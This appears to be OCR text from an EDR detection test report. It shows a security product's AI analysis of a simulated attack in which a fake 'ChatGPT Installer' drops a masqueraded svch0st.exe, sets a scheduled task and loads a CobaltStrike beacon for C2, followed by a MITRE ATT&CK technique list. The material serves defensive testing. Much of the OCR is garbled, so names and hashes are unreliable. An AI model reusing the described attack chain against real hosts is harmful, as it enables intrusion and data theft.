File Operation CREIGPT Inswsa... — Fl Decomp. — CREYGPT Installer..  ChetGPT instale 72 ChaGPT Instsseraxe ot G
Fuis 1D 1150011586001008 P Harms Unzip Suspiccus Files
Fill Operation ChAIGPT Instal..  FilDecomp.  ~ ChulGPT Instoller...  CHalGPT Instali e ChatGPT Instateree
Oasenpton 1115 sugpected that an amacker exvactes suspicious e Intert Gan Accsss
Filh Dpsration ChaIGPTInstal..  FiloDecomp . CARIGPT Installer. . hatGPT Instalo 7 GhAIGPT Instataroxe R e
ATTROK Tactc Ikl Ao (TA0001) ATTACK Technias  Phishing (11566 %
File Operation ChaIGRT Insin.. ~— Fil Decamp... < CRAIGPT installr,..  CharaPT insial 72 ChatGRT Instaserane o
il Operation ChalGPT lnviater...  FllaDocomg. . - ChalGPT Iutal..  ChalGPT nstallor (7172 ChatGIT Instaterone Fila Naerm, CRAIPT istallec 72 i Pat CAUsarTigen DsekcogiCAtOPT Intallec 72
il SHAZSS () e Croation
Filo Operation ChaGPT Inswader...  FlloDocomp. . - CharGPT Inwad...  ChosGPT Instalr 172 ChutGET Instatarans .
Fia DS (D Digial Sigrature 5
File Dpseation CRAIGHT Ingtwser,.. — FlleDoconp. . - ChIGPT Inisl...  ChasGPT instalie (.72 R — Pla Size Sigraturs vaidny.
Source Type. File Downsoaded from Wea Sourcs App chvome
il Oparation CNIGET Inwtat.  Fila e CRIGPT Installr...  CHatGPT Instalr 72 ChGT Instataroes Saurca URL s diive usaroontant google.com/download? Souros Path CAUsarsTigon Dorwioads\ChatGPT nstalie 72
o<1 XQUAZ-.
Filo Ogeration ChaGPT Instaler... — Fllo Docom... — CharGPT Instai...  ChatGPT instaler 1.7 ChatGeT Instafcane Fila Mcxbfication P
Fila Attt Tog a2
File Dperation CREIGPT st~ Flle Desomp. — ChAIGPT Installer. . ChescPT instalie Tz ChaGPT Inststerexe
Target Entiy Info
Fill Opeeation ChaiGPT Instal.. — Fila Decomp... — ChalGPT Insialler..  ChatGPT Insialic Tz ChtGAT Instaterens
Fila Narna ChasaPT nstaliecee Foe Pain CAUneraiTiger\Doakcog\ChatGPT Installer CratGP'T
[
Filn 8HAZEA © HinSalaT 0207 k20 104alA0RHE20TATEAIAR e Croaion
b7I0eTaIERe8ST
Fila MDS (O =
Fila 2o Sgnature Vaikity  Unelgred
Sours Type File Downioarded from Weo. Sauros koo chvame
Saurca URL s i usarcon ot goopie comvdoeniood? Saursa Parn CAUsarsTigeA Dorwrbonds\Cral GPT nstater 71
8=1EXQUAZ-..
File Mostfeaon Fie Aeoems
Fila Attutn Tag 2
(@ By continuousty monRoring and correlating Gata, the alert chain has been associated the latest incident, (10: 1101 A783-8517.06411811 7062]C2 G Data Thef via ChatGPT Instater. 7z Downloaded from Web/s] Please click the incident for maintenance.

€ Alert Chains / Alert Chain Details

IE3 Alert Chain ID: fc87da0d-b554-4575-a15¢e-TcBa3...
Hayden (192.168.163.146)

Target Endpoint

Al Reasoning

Anaiyzing Logs: 17

Owner -

Process Graph Alerts

HackTool in memory and Other Alerts
Al Analysis Conclusion  This is a confirmed attack and has escalaled 10 an incident. @

(D For better analysis, ail relevant alert chains are dispiayed.

) AlAgent Analyzing...

Test 2026

+ Intra-Process Chain Behavior » Inter-Process Chain Behavior 1>
~ Detected Anomalies (svch0st.exe Process Operation rundil32.exs abnormal bahavior)
Task List 1 task planned
| wili trigger @ Behavior Analysis Al Agent (o execute the above tasks in parallel for faster information
gathering.
‘o & Behavior Analysis Al Agent
B -] @  Summary
NG e 72 - Identified the following attack processes:
1. A user downloaded a compressed fils named "ChatGPT Installer. 72" via the Chrome browser. The file.
B after unpacking, released an unsigned executable fie named "ChatGPT installer.exe®,
— 2, then launched hidden copy of "ChatGPT Installer.cxe” in the:
o3 temporary directory.
e . The malicious program "ChalGPT Instalier.exe” released in the previous step created a malicious.
a program named "svchOst.exe” in the system directory.
g 4, To achieve persistence, the aftacker created 2 task rLyned "B01BDFSX" via the schedued task,
=5y pointing to the malicious program *svchOst exe”,
= 5. The malicious program “svchOst exe* ioaded the CobaltStrike component via rundii32.exe,
@ estabiished a communication connection with the C2 server, exhibited abnormal memary characleristics,
and detected the threat of HackTool CobaltStrike BeaconHTTPStager B.
Realtime Activity Logs (17)
SVCTION BAC —{HTIQELOA s MpChiit G ADOOE Nais DOO! SO0CT &k SITAAES Ndve 5.  Endpoint Detection Brain o
1 svehOst exe —{ProcessCreate}—> rundil3 exe Anode has been added and anomalies have b. Be
FUNGN32.XE —-{ImageLoad)—> wininet,dil A node has been added and anomalies have b.. Here is my analysis based on the results above.
« fundiisZ.exe —{ImageL.oad)—> advapidz.di Anode has been added and anomalies have b..
« TUNdiis2 exe —(imageL oad)—> wa2_32.di Anode has been added and anomalies have b. Analysis conclusion:
SVCh0st exe —(ProcessOperate)—> rundia2.exe Anode has been added and anomalles have b...
svchOst exe —(Processinject}—> nndii32 exe Node added.
m C2 Communication Data Theft via ChatGPT Installer.7z Downloaded from Web
Target Endpoint Hayden (192.168.163.146) Owner - Threat Type  C2 Activity ThreatTag Malware &
@@ Al Reasoning Analyzing Logs: 17 5 Al Analysis Results Attack Chain Suspicious Entities Process Graph Alerts
Incident Summary
This is a C2 Communication via ChatGPT Installer.7z for data theft, Target device (Name: Hayden, IP address: 192.168.163.146), the attack is in the compromised stage. The attacker downloads a malicious archive disguised as a ChatGPT
installer via Ghrome browser. After the user unpacks and executes it, the malicious program releases a copy disquised as a system file in the system directory and creates a scheduled task to achieve persistence. Finally, it loads the
CobaltStrike component via rundli32 to establish a G2 connection, Intending to perform data theft. This attack may lead to full control of the host, leakage of sensitive data, and provide a foothold for the attacker to move laterally within the
network.
ChatGPT Instal. File Write ChatGPT Instal...
ChatGPT Instal. File Decompres... « ChatGPT Instal. svchOst.exe  Process Creation  rundll32.exe
1 Malicious Program Release and ... Malicious Program i Ci Remote Control Troj...
Attacker
ChatGPT Instal... File Write svohOst exe
ChaiGPT Instal.. — Scheduled Tas.. —+ BO1BDFSX jm )
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€ Security Incidents « Security Incident Details

Target Endpoint  Hayden (192.168.163.146) ~ Owner -

# AlReasoning g Logs: 17 Al Analysis Results

~ Intra-Process Chain Behavior » Intef-Process Chain Behavior

a0nB0FSK

Realtime Activity Logs (17)

Srcilslene —{imageLoad)—> mpdient &
svehOst.exe —(ProcessCreate)—> mundll32.exe
(undi32 exe —(imagel oad)—> wininet dil
FUNIS2 %8 —{ImageLoad)—> advapio2. 4l
rundii32.exe -{imageload).> ws2_32.di
suchDst exe —(ProcessOperate}—> rundi32. exe
SHChOsL exe —(Processinjecti—> undiaz.exe

Threat Type G2 Activity

€2 Communication Data Theft via ChatGPT Installer.7z Downloaded from Web

ThreatTag Maware ©

Attack Chain Suspicious Entities

m Phishing Attack via ChatGPT Installer.7z Downloaded from Web

Target Endpoint Hayden (192.168.163.146) ~ Owner -

&R Al Reasoning  Analyzing Logs: 18 Al Analysis Results

Legend ~

R
| '
chrome
hitps://drive.userconten

Source

svchost.exe (5768)
EXE | &

Thweat Type  Phishing

Process Graph

EDR Detection Validation

Alerts

) AlAgent Monitoring...

* Detected Anomalies

bnormal behavior)
‘@ Endpoint Detection Brain
1 will conduct a thorough analysis. To achieve this, | wil perform the following tasks:

Task List 1 task planned

| will rigger
gathering

® Benavior Analysis Al Agent 1o execute the above tasks In parallel for faster information

® Behavior Analysis Al Agent Total Task Duration: 8 secs

©  Summary

Idenbfied the foliowing atiack processes:

@ 1. Auser downloaded a compressed fle named *ChatGPT Instabler.72" via the Chrome browser. The fi
‘after unpacking, released an unsigned executabie file named "ChatGPT installer exe”
a 2. The executable was then launched and created a hidden copy of "ChaiGPT Installer.exe" in the
b= temporary directory.
3. The “ChatGPT * released in a malicious.
- program named "svchOst exe” in the system directory
= 4. To achieve persistence, the attacker created a task named "BOTBDFSX" via the scheduled task,
@ pOINEINg 1o the MaliCious program "svehost.exe”.
5. The malicious program “svchOst exe” Ioaded the CobaltStrike companent via rundil3 exe,
‘established a communication connection with the C2 server, exhibited abnormal memory characteristics,
and detected the threat of HackTool CobaltSirike BeaconHTTP Stager B.
Ao Das been adued S0 anondies e b,
Anode has been added and anomalies have ..,
A node has been added and anomalies have b.
A ! "
node has been added and anomalies have b, @@ Endpoint Detection Brain
Anode has been added and anomalies have b...
A node has been added and anomalies have b. Here is my analysis based on the results above.
Node added
Threat Tag G2 Communication  + 1 @
Attack Chain Suspicious Entities H Process Graph Alerts

ChatGPT Installer. 7z

Fila Process Creation

ChatGPT Installer.exe (148...
el

Phishing Attack via ChatGPT Installer.7z Downloaded from Web

Target Endpoint Hayden (192.166.163.146) = Owner -

q Al Reasoning Analyzing Logs: 13

Legend v

1 Induced Execution of "Deceptive Installati...

The attacker used tha Chrome browser to download a
malicious archive "ChatGPT Installer. 72" disquised as a
ChatGPT installer, induced the user to extract and execute
tha unsigned executable file within, achieving the initial
compromise.

chrome
https://drive.isercontent...
I
Soyroe

ChatGPT Installer.7z

ChatGPT Installer.exe

Creation

o

ChatGPT installer.exe
(14868)

Threat Type  Phishing

Al Analysis Results

2.7 Fle ¢HatePT Installer.exe

Threat Tag  C2 Communication

& Attack Chain  Suspicious Entities

? Malicious Program Release and Process Masquerading

After the malicious installer runs, it releases a malicious file disguised as Storelnstaller.exe
in the temporary directory and creates a spoofed svchOst.exe fie in the system directory to

achieve persistence.

mpclient.dil

ws2_32.dll
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Image Loithgmage Lodtiigmage
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Q @D show process start time

ChatGPT Installor.exc
boa

Process Injection

svohOst.exe (11452) rundii3z.exe (17612)
§ Process Oper...
I s bzl &8 | @

a2

4 | ChatGPT Installer.exe (6344)

A=k

©

Process Graph Alerts
Q  Display Settings ~

3

1. The impersonated system process svchOst.exe loads a
malicious DLL module via rundila2 exe, establishing a
C2 communication channel.

Payload Loading and

1 Process

Operation

rundli32.exe
(17612)

rundli32 exe
(17612)

vading

advapi32.dil

wininet.dil

go
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In business environments, and with business products in general, it is usual for products to be configured
by the system administrator, in accordance with vendor’s guidelines. Therefore, we asked vendors to request
us to implement any changes they wanted to the default configuration of their respective products. Results

presented in this test were only accomplished by applying the respective product configurations as described
here.

The configurations were applied together with the engineers of the respective vendors during setup.
Below we have listed relevant non-default settings (i.e. settings used by the vendor for this test).

Sangfor: Default settings.
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The table below shows the MITRE (aims) and the of the test scenario
used in this EDR Detection Test.

Phishing ( )

Spearphishing Link ( )
Valid Accounts ( )

Scheduled Task/Job ( )

Scheduled Task ( )
System Services ( )

Service Execution ( )
User Execution ( )

Malicious File ( )

Malicious Link ( )
Account Manipulation ( )

Boot or Logon Autostart Execution ( )
Create Account ( )

Domain Account ( )

Local Account ( )
Access Token Manipulation ( )

Access Token Manipulation: Token Impersonation/Theft ( )
Hide Artifacts ( )

Hidden Files and Directories ( )
Masquerading ( )
Obfuscated/Compressed Files and Information ( )
0S Credential Dumping ( )

DCSync ( )

Steal or Forge Kerberos Tickets ( )

Kerberoasting ( )

Account Discovery ( )

Domain Account ( )
Domain Trust Discovery ( )
Permission Groups Discovery ( )

Domain Groups ( )

Local Groups ( )
Process Discovery ( )

Process Injection ( )

System Information Discovery ( )

System Network Configuration Discovery ( )
Remote Services ( )

SMB/Admin Shares ( )
Application Layer Protocol ( )

Web Protocols ( )

Ingress Tool Transfer ( )
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